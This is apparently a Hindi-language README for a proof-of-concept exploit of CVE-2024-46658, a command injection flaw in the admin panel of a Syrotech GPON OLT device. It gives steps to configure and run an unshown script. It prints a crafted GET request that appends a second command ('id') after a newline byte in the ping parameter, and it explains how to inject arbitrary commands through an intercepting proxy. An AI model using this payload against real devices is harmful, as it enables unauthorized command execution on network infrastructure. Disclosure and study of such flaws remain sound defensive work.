CVE-2024-46658

Syrotech SY-GOPON-8OLT-L3 v1.6.0_240629 कमांड इंजेक्शन भेद्यता

उपयोग

1- स्क्रिप्ट में URL संपादित करें।

2- स्क्रिप्ट में Cookie_Login मान संपादित करें।

3- स्क्रिप्ट चलाएं, इससे आप कमांड निष्पादित कर सकेंगे।

भेद्यता विवरण

GET /cgi/home.php?fun=system&page=shellCMDExec&isajax=1&runtab=1&cmdExec=1&command=ping%208.8.8.8%20-c%204%0aid&random=1725991418844 HTTP/1.1

सामान्यतः, प्रशासन पैनल में केवल ping कमांड को निष्पादित करने की अनुमति होती है।

यदि आप प्रॉक्सी के साथ अनुरोध को इंटरसेप्ट करते हैं, तो command पैरामीटर के अंत में एक नया लाइन बाइट जोड़ें और वह कमांड टाइप करें जिसे आप चलाना चाहते हैं, इससे आप एक और कमांड चला सकेंगे।

लेखक

Mehmet Demir